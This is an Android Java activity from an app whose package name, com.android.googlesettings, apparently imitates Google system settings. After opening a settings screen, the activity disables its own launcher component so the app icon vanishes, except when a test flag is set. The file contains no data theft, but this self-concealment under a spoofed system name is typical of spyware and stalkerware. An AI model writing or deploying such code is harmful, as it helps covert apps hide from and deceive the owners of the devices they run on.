package com.android.googlesettings.view;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.view.Menu;

import com.android.googlesettings.R;
import com.android.googlesettings.controller.AppController;

public class MainActivity extends Activity {

	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		Intent it = new Intent(MainActivity.this, SettingActivity.class);
		startActivity(it);
		if (!AppController.bIsTest) {
			hiddenAppIcon();
		}
	}

	@Override
	public void finish() {
		super.finish();
	}

	private void hiddenAppIcon() {
		// PackageManager p = getPackageManager();
		// p.setComponentEnabledSetting(getComponentName(),
		// PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
		// PackageManager.DONT_KILL_APP);

		PackageManager localPackageManager = getPackageManager();
		String str1 = getPackageName();
		String str2 = MainActivity.this.getClass().getCanonicalName();
		ComponentName localComponentName = new ComponentName(str1, str2);
		localPackageManager.setComponentEnabledSetting(localComponentName,
				PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
				PackageManager.DONT_KILL_APP);
	}

	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		getMenuInflater().inflate(R.menu.activity_main, menu);
		return true;
	}
}
